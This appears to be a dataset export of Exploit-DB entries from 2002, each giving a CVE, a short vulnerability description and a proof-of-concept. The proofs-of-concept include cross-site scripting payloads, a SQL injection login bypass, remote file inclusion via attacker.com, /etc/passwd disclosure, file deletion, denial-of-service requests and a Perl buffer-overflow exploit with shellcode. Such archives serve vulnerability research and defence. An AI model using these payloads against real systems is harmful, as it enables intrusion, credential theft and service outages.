QLWD/code_shield huggingface dataset:
标题: Grsecurity Kernel Patch 1.9.4 (Linux Kernel) - Memory Protection EDB-ID: 21458 CVE: 2002-1826 类型: LOCAL 平台: LINUX 发布日期: 2002-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4762/info

An attacker with root access may be able to write to kernel memory in spite of the security patch provided by grsecurity. The patch operates by redirecting the write() system call, when it is being used to write to a memory device. Unfortunately, there are other methods that can be used to write to kernel memory (such as mapping the device to memory using mmap()). 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21458.tgz URL: https://www.exploit-db.com/exploits/21458
标题: Hosting Controller 1.4 - Import Root Directory Command Execution EDB-ID: 21457 CVE: 2002-0773 类型: WEBAPPS 平台: ASP 发布日期: 2002-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4761/info

Hosting Controller is an application which consolidates all hosting tasks into one interface. Hosting Controller runs on Microsoft Windows operating systems.

The Import Root Directory (imp_rootdir.asp) script does not force an authentication challenge when accessed, and allows users to perform actions on files and directories below the Hosting Controller administrative root. It is possible to manipulate URL parameters to change the root directory to another arbitrary directory on the system (such as C:).

This may enable a remote attacker to execute arbitrary commands on the underlying system, eventually leading to a full compromise. 

http://target/admin/import/imp_rootdir.asp?result=1&www=C:\&ftp=C:\&owwwPath=C:\&oftpPath=C:\ URL: https://www.exploit-db.com/exploits/21457
标题: SonicWALL SOHO3 6.3 - Content Blocking Script Injection EDB-ID: 21453 CVE: 2002-2341 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-05-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4755/info

The Sonicwall SOHO3 is an Internet security appliance that provides firewall security solutions.

Reportedly, a vulnerability exists in the product that allows for a script injection attack to be launched from a malicious user within the internal LAN.

It is possible to configure Sonicwall to block domains from a list of user entered domains. Sonicwall will deny local users access to the websites that have been blocked. A malicious user may be able to inject script code as part of a URL of a blocked domain. Attempts to access blocked domains will be entered into the log files of Sonicwall. An administrator viewing the log files will automatically cause the malicious script code execute.

If the attacker's script code is injected into the logfile then the administrator will not be able to access the log normally. To regain access to the logs the appliance will need to be rebooted. It should be noted that rebooting the appliance will cause the logs to be cleared and will effectively eliminate any indication in the logs of which user initiated the attack.

It is possible for a malicious remote user to exploit this issue by crafting a URL of a known blocked domain that includes script code, and enticing a local user into following the link. 

bannerserver.gator.com/<SCRIPT>window.location.href="http://www.offroadwarehouse.com";</SCRIPT>

The script code will redirect a user to a different site. URL: https://www.exploit-db.com/exploits/21453
标题: Opera 5.12/6.0 - Frame Location Same Origin Policy Circumvention EDB-ID: 21451 CVE: 2002-0783 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/4745/info

Opera is a web browser product created by Opera Software, and is available for a range of operating systems including Windows and Linux. A vulnerability has been reported in some versions of the Opera Browser.

It is possible to bypass the same origin policy in some versions of the Opera Browser. Javascript may modify the location property of an IFRAME or FRAME included in the document. If the location is set to a javascript: URL, the script code will execute within the context of the previous frame site.

<iframe name=foo src="www.sensitive.com"></iframe>
<script>foo.location="javascript:alert(document.cookie)";</script> URL: https://www.exploit-db.com/exploits/21451
标题: id Software Quake II Server 3.20/3.21 - Remote Information Disclosure EDB-ID: 21450 CVE: 2002-0770 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-05-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/4744/info

Quake II is a multiplayer game released by id Software. The source code has been made publically available, and versions are available for Windows and Linux. A vulnerability has been reported in some versions of the Quake II server.

While variable expansion is normally performed on the client side, a modified client may pass unexpanded variables such as $rcon_password to the server. The server will expand these variables within it's local context, potentially leaking sensitive information to the remote attacker. 

you must modify your q2 client, that the client will not replace the $... variables in says
quick hack:
in qcommon/cmd.c
change the line
Cmd_TokenizeString (text, true);
to
Cmd_TokenizeString( text, false); URL: https://www.exploit-db.com/exploits/21450
标题: NOCC 0.9.x - Webmail Script Injection EDB-ID: 21449 CVE: 2002-2343 类型: WEBAPPS 平台: PHP 发布日期: 2002-05-14 漏洞利用脚本: source: https://www.securityfocus.com/bid/4740/info

NOCC is a web based email client implemented in PHP4. It includes support for POP3, SMTP and IMAP servers, MIME attachments and multiple languages.

A script injection issue has been reported with the way emails are displayed to users of NOCC webmail. A malicious attacker can include script code in an email and potentially get full access to a victim's mailbox. 

<script>alert(document.cookie)</script>

This will show the victim's session id. URL: https://www.exploit-db.com/exploits/21449
标题: Critical Path InJoin Directory Server 4.0 - File Disclosure EDB-ID: 21445 CVE: 2002-0786 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/4718/info

Critical Path provides an LDAP (Lightweight Directory Access Protocol) Directory Server called InJoin. InJoin Directory Server is provided for Microsoft Windows operating systems and Unix variants. iCon is the administrative web interface for the inJoin Directory Server.

An attacker with a valid administrative username and password is able to view any file on the system that is accessible to the owner of the iCon process. The contents of arbitrary webserver readable files can be disclosed by supplying their path as the log entry parameter when viewing log entries. 

http://ip:1500/CONF&LOG=/etc/passwd&NOIH=no&FRAMES=y

Here the attacker is able to view the contents of /etc/passwd. URL: https://www.exploit-db.com/exploits/21445
标题: MDaemon WorldClient 5.0.x - Folder Creation Buffer Overflow EDB-ID: 21439 CVE: 2002-1740 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/4689/info

MDaemon is an integrated mail transport agent, webmail, and mail anti-virus package. It is available for Microsoft Windows operating systems.

It may be possible for a remote user to take advantage of a buffer overflow in the MDaemon software package. The WorldClient.cgi program packaged with MDaemon does not properly check bounds on user-supplied data. During the process of creating a folder with a long name, it is possible to exploit a buffer overflow in the CGI that could result in the overwriting of process memory, and execution of attacker-supplied instructions.

POST /WorldClient.cgi?Session=xxxx&View=Options-Folders&Reload=Yes HTTP/1.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)
Host: victim:3000
Content-Length: 1636
Connection: Keep-Alive
Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxxx

OldFolderParent=&OldFolder=&FolderParent=&Folder=&NewFolder=AAAAAAAAAAAA
AAA[BUFFER_HERE_1000+chars]&NewFolderParent=&Create=Create&Folder%3AInbo
x=Inbox&Folder%3ADrafts=Drafts&Folder%3ASent=Sent&Folder%3ATrash=Trash&F
older%3As=s URL: https://www.exploit-db.com/exploits/21439
标题: WorldClient 5.0.x - Arbitrary File Deletion EDB-ID: 21438 CVE: 2002-1741 类型: REMOTE 平台: WINDOWS 发布日期: 2002-05-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/4687/info

WorldClient is a web interface packaged with MDaemon, an email server for Microsoft Windows.

An input validation vulnerability exists in WorldClient that allows for an attacker to delete an arbitrary file on the webserver that it resides on. The vulnerability is due to a lack of input validation on the supplied filename for an attachment delete operation. 

The following HTTP request demonstrates exploitation of this vulnerability to delete '..\..\test.txt':

POST /WorldClient.cgi?Session=xxxx&View=Compose-Attach HTTP/1.1
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*
Referer: http://victom.com:3001/WorldClient.cgi?Session=xxxx&View=Options-Folders
Content-Type: multipart/form-data; boundary=---------------------------7d2851b9074c
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Q312461)
Host: victim:3001
Content-Length: 407
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: User=MDaemon; Lang=en; Theme=Standard; Session=xxxx

-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Attachment"; filename=""
Content-Type: application/octet-stream

-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Attachments"

..\..\test.txt
-----------------------------7d2851b9074c
Content-Disposition: form-data; name="Remove"

Remove
-----------------------------7d2851b9074c-- URL: https://www.exploit-db.com/exploits/21438
标题: Critical Path InJoin Directory Server 4.0 - Cross-Site Scripting EDB-ID: 21444 CVE: 2002-0787 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-05-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/4717/info

Critical Path provides an LDAP (Lightweight Directory Access Protocol) Directory Server called InJoin. InJoin Directory is provided for Microsoft Windows operating systems and Unix variants.

HTML code is not filtered from URL parameters that are used as output in the web-based administrative interface. This enables an attacker to inject malicious script code into a link to the administrative interface. When this link is visited by an authenticated administrative user, the attacker's script code will be executed in the browser of that user, in the security context of the site running the interface.

Successful exploitation may allow the attacker to steal cookie-based authentication credentials from the administrative user.

http://ip:1500/DSASD&DSA=1&LOCID=<script>^Ã?.</script>&FRAME=Y
http://ip:1500/OBCR&OC=<script>^Ã?.</script>&FRAME=Y URL: https://www.exploit-db.com/exploits/21444
标题: Ecometry SGDynamo 5.32/6.1/7.0 - Cross-Site Scripting EDB-ID: 21446 CVE: 2002-0375 类型: REMOTE 平台: WINDOWS 发布日期: 2002-04-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/4720/info

SGDynamo is a web application engine for Microsoft Windows operating systems.

Script code is not filtered from URL parameters that are used as output by the SGDynamo program. This may enable an attacker to inject script code into a malicious link to the program. The script code will be executed in the browser of a user who visits the link, in the context of the site running the program.

This may enable the attacker to steal cookie-based authentication credentials from legitimate users.

http://target/sgdynamo.exe?HTNAME=<script>alert("test")</script> URL: https://www.exploit-db.com/exploits/21446
标题: Cisco ATA-186 - HTTP Device Configuration Disclosure EDB-ID: 21441 CVE: 2002-0769 类型: REMOTE 平台: HARDWARE 发布日期: 2002-05-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/4711/info

The Cisco ATA-186 Analog Telephone Adapter is a hardware device designed to interface between analog telephones and Voice over IP (VoIP). It includes support for web based configuration.

Reportedly, HTTP requests consisting of a single character will cause the device to disclose sensitive configuration information, including the password to the administrative web interface.

curl -d a http://ata186.example.com/dev URL: https://www.exploit-db.com/exploits/21441
标题: B2 0.6 - 'b2edit.showposts.php?b2inc' Remote File Inclusion EDB-ID: 21436 CVE: 2002-0734 类型: WEBAPPS 平台: PHP 发布日期: 2002-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/4673/info

B2 is a news/weblog tool written in php. b2 allows webmasters to quickly post news on the frontpage, and let viewers interact with each other. It is available primarily for Unix and Linux.

A variable that is referenced in the PHP scripts does not actually exist. Thus, an attacker may be able to define the value of the variable. By creating a PHP script on the remote side and embedding commands in it, the attacker is able to reference the remote file. This could potentially allow the attacker to execute commands on the vulnerable system. 

http://www.vulnerablehost.com/b2/b2-include/b2edit.showposts.php?b2inc=http://www.attacker.com&cmd=ls URL: https://www.exploit-db.com/exploits/21436
标题: BEA Systems WebLogic Server and Express 7.0 - Null Character Denial of Service EDB-ID: 21432 CVE: 2002-0106 类型: DOS 平台: WINDOWS 发布日期: 2002-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/4646/info

BEA Systems WebLogic Server is an enterprise level web and wireless application server for Microsoft Windows and most Unix and Linux distributions.

BEA WebLogic Express provides a platform for serving dynamic data to web and wireless applications.

It is possible to create a denial of service condition by appending a null character to a request for a MS-DOS device name (such as AUX). Multiple malformed requests will cause the server to hang.

BugTraq ID 3816 "BEA Systems WebLogic Server DOS Device Denial of Service Vulnerability" describes a similar condition, which was fixed in WebLogic Server 6.1 SP2. However, the null character variation of this attack affects systems running WebLogic Server 6.1 SP2.

The server must be restarted to regain normal functionality. 

This issue may be exploited with a web browser. For example:

http://target//aux%00 URL: https://www.exploit-db.com/exploits/21432
标题: ACME Labs thttpd 2.20 - Cross-Site Scripting EDB-ID: 21422 CVE: 2002-0733 类型: REMOTE 平台: LINUX 发布日期: 2002-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/4601/info

thttpd is a web server product maintained by ACME Labs. thttpd has been compiled for Linux, BSD and Solaris, as well as other Unix like operating systems.

Cross Site Scripting issues has been reported in some versions of thttpd. thttpd fails to check URLs for the presence of script commands when generating error pages, allowing the attacker-supplied code to execute within the context of the hosted site.

It should be noted that this issue was tested on 2.20b, other versions may also be affected by this issue. 

http://www.host.com/<script>[SCRIPT]</script> URL: https://www.exploit-db.com/exploits/21422
标题: askSam 4.0 Web Publisher - Cross-Site Scripting EDB-ID: 21435 CVE: 2002-1727 类型: WEBAPPS 平台: CGI 发布日期: 2002-05-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/4670/info

askSam is a database system. An optional component, askSam Web Publisher (versions 1 and 4), is reportedly vulnerable to cross site scripting vulnerability in the as_web.exe (or as_web4.exe) component. This is due to a failure to strip script and HTML when returning error messages that include user input.

The same component can also disclose paths on the server when non-existant files are requested. 

http://somewhere/as_web.exe?Command=search&file=non-existant-file&request=&MaxHits=10&NumLines=1
http://somewhere/as_web.exe?non-existant
http://somewhere/as_web4.exe?Command=First&File=non-existant-file

These examples demonstrate the cross site scripting issue:
/as_web4.exe?existant-ask-file!!.ask+B+<script>ANYSCRIPT</script>
/as_web.exe?existant-ask-file!!.ask+B+<script>ANYSCRIPT<script> URL: https://www.exploit-db.com/exploits/21435
标题: IRIX 6.5.x - Performance Co-Pilot Remote Denial of Service EDB-ID: 21431 CVE: 2000-1193 类型: DOS 平台: IRIX 发布日期: 2002-04-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/4642/info

Performance Co-Pilot (PCP) is a set of services to support system-level performance monitoring developed by SGI. It has traditionally been an IRIX product, however SGI has made it open source and it is now available for Linux systems.

A vulnerability exists in some versions of the PCP daemon. It is possible to cause a denial of service condition by sending the daemon a large string of arbitrary data.


% perl -e 'print " a" x 92834244,"\n";'' | telnet sgi.victim.com 4321 URL: https://www.exploit-db.com/exploits/21431
标题: MyGuestbook 1.0 - Script Injection EDB-ID: 21433 CVE: 2002-0732 类型: WEBAPPS 平台: CGI 发布日期: 2002-04-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/4651/info

MyGuestbook is freely available guestbook software. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

MyGuestbook does not adequately filter script code from various fields. This may enable an attacker to inject script code which will be executed in the web client of an arbitrary user who views the guestbook.

Attackers may potentially exploit this issue to hijack web content or to steal cookie-based authentication credentials. 

Sign up and post using the "name"
<script>alert('evil+java+script+here')</script>

or

When posting comments just insert the
<script>alert('evil+java+script+here')</script>
to the comments field. URL: https://www.exploit-db.com/exploits/21433
标题: Outfront Spooky 2.x - Login SQL Query Manipulation Password EDB-ID: 21434 CVE: 2002-1720 类型: WEBAPPS 平台: ASP 发布日期: 2002-05-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/4661/info

Spooky Login is a commerical web access control and account management software package. It is distributed and maintained by Outfront, and is designed for Microsoft IIS Webservers.

Under some circumstances, it may be possible for a remote user to gain unauthorized access to pages protected by Spooky Login. The problem is a SQL query manipulation vulnerability in the authentication component.

It is possible for remote attackers to corrupt the logic of queries such that a successful login will occur regardless of the supplied password. 

User: admin (this selects the first index from the table)
Password: ' OR ''=' URL: https://www.exploit-db.com/exploits/21434
标题: PHProjekt 2.x/3.x - Authentication Bypass EDB-ID: 21421 CVE: 2002-1757 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/4596/info

PHProjekt is a freely available, open source PHP Groupware package. It is actively maintained by the PHPProjekt Development Team. It will run on most Linux and Unix variants, in addition to Microsoft Windows operating systems.

Some of the PHProjekt scripts are only intended to be accessed by users who have been authenticated. However, it has been reported that it is possible for an unauthenticated attacker to access these scripts via a specially crafted web request.

http://www.somehost.com/phprojekt/mail/mail_send.php/sms

where the extraneous "sms" is included to be passed to the $PHP_SELF variable as part of the PATH_INFO. This causes PHPProjekt to behave as though the attacker accessing the script is logged on to PHPProjekt as a legitimate user. URL: https://www.exploit-db.com/exploits/21421
标题: Blahz-DNS 0.2 - Direct Script Call Authentication Bypass EDB-ID: 21426 CVE: 2002-0599 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/4618/info

Blahz-DNS is a web based management tool for DNS information. It is implemented in PHP, and available for Linux systems.

By directly calling scripts included with Blahz-DNS, it is possible to bypass the authentication check, gaining full access to the Blahz-DNS tool.

http://www.example.com/dostuff.php?action=modify_user URL: https://www.exploit-db.com/exploits/21426
标题: DNSTools 2.0 - Authentication Bypass EDB-ID: 21425 CVE: 2002-0613 类型: WEBAPPS 平台: PHP 发布日期: 2002-04-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/4617/info

DNSTools is a web based managment tool for DNS information. It is implemented in PHP, and available for Linux and Solaris.

A vulnerability has been reported in some versions of DNSTools which allows any remote attacker to gain administrative access. An artificially constructed URL may define variables used to track user authentication and administrative access. 

http://www.example.com/dnstools.php?section=hosts&user_logged_in=true
http://www.example.com/dnstools.php?section=security&user_logged_in=true&user_dnstools_administrator=YES URL: https://www.exploit-db.com/exploits/21425
标题: Matu FTP 1.74 - Client Buffer Overflow EDB-ID: 21410 CVE: 2002-0608 类型: REMOTE 平台: WINDOWS 发布日期: 2002-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/4572/info

An issue has been reported which could allow for a malicious ftp server to execute arbitrary code on a Matu FTP client. 

If,upon user connection, a FTP server '220' response is of excessive length, a stack-based overflow condition could occur. This overflow could overwrite stack variables and be used to execute arbitrary code. However, sending random data could cause the application to crash.


pwd
#!/usr/local/bin/perl

#------------------------------------------------------------------------
# Matu Ftp Version 1.74 exploit for Windows2000 Professional (SP2)
# ( run under inetd )
# written by Kanatoko <anvil@jumperz.net>
# http://www.jumperz.net/
#------------------------------------------------------------------------
$|=1;

        #egg written by UNYUN (http://www.shadowpenguin.org/)
$egg  = "\xEB\x27\x8B\x34\x24\x33\xC9\x33\xD2\xB2";
$egg .= "\x0B\x03\xF2\x88\x0E\x2B\xF2\xB8\xAF\xA7";
$egg .= "\xE6\x77\xB1\x05\xB2\x04\x2B\xE2\x89\x0C";
$egg .= "\x24\x2B\xE2\x89\x34\x24\xFF\xD0\x90\xEB";
$egg .= "\xFD\xE8\xD4\xFF\xFF\xFF";
$egg .= "notepad.exe";

        #egg_address = 0x0012F43C
$buf = "\x90" x 217;
$buf .= $egg;
$buf .= "A" x 2;
$buf .= "\x3C\xF4\x12\x00";
$buf .= "B" x 80;

print "220 $buf\r\n"; URL: https://www.exploit-db.com/exploits/21410
标题: Apache Tomcat 4.0/4.1 - Servlet Full Path Disclosure EDB-ID: 21412 CVE: 2002-2006 类型: REMOTE 平台: UNIX 发布日期: 2002-04-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/4575/info

Apache Tomcat is a servlet container for use with the Java Servlet and JavaServer Pages technologies. Tomcat may be run on most UNIX and Linux variants as well as Microsoft Windows. 

Apache Tomcat ships with a number of example classes (SnoopServlet and TroubleShooter) that may reveal the absolute path of the Tomcat installation when requested. 

Disclosure of this type of sensitive information may aid in further attacks against the host running the vulnerable software.

http://localhost:8080/examples/servlet/SnoopServlet 
http://localhost:8080/examples/servlet/TroubleShooter URL: https://www.exploit-db.com/exploits/21412
标题: National Instruments LabVIEW 5.1.1/6.0/6.1 - HTTP Request Denial of Service EDB-ID: 21413 CVE: 2002-0748 类型: DOS 平台: MULTIPLE 发布日期: 2002-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/4577/info

A vulnerability has been reported in some versions of National Instruments LabVIEW for Linux and Microsoft Windows.

LabVIEW includes an integrated HTTP server. If a malformed HTTP request is received, it is possible to crash the LabVIEW Web Server and LabVIEW itself. This condition occurs when an HTTP GET request is received and terminated with two new line characters, as opposed to the compliant carriage return / new line combination.

GET\s/\sHTTP/1.0\n\n URL: https://www.exploit-db.com/exploits/21413